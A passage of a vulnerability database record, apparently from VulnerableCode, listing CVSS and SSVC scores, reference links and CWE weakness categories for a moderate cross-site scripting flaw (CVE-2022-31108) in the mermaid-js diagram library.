scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/mermaid-js/mermaid
3
reference_url https://github.com/mermaid-js/mermaid/commit/0ae1bdb61adff1cd485caff8c62ec6b8ac57b225
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-22T15:45:53Z/
url https://github.com/mermaid-js/mermaid/commit/0ae1bdb61adff1cd485caff8c62ec6b8ac57b225
4
reference_url https://github.com/mermaid-js/mermaid/security/advisories/GHSA-x3vm-38hw-55wf
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-22T15:45:53Z/
url https://github.com/mermaid-js/mermaid/security/advisories/GHSA-x3vm-38hw-55wf
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2022-31108
reference_id
reference_type
scores
0
value 4.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2022-31108
6
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1014540
reference_id 1014540
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1014540
7
reference_url https://github.com/advisories/GHSA-x3vm-38hw-55wf
reference_id GHSA-x3vm-38hw-55wf
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-x3vm-38hw-55wf
Weaknesses
0
cwe_id 74
name Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
description The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
1
cwe_id 79
name Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
description The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
2
cwe_id 1035
name OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities
description Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.
3
cwe_id 937
name OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities
description Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.
Exploits
Severity_range_score4.0 - 6.9
Exploitability0.5
Weighted_severity6.2
Risk_score3.1
Resource_urlhttp://public2.vulnerablecode.io/vulnerabilities/VCID-6qac-5y2d-akdd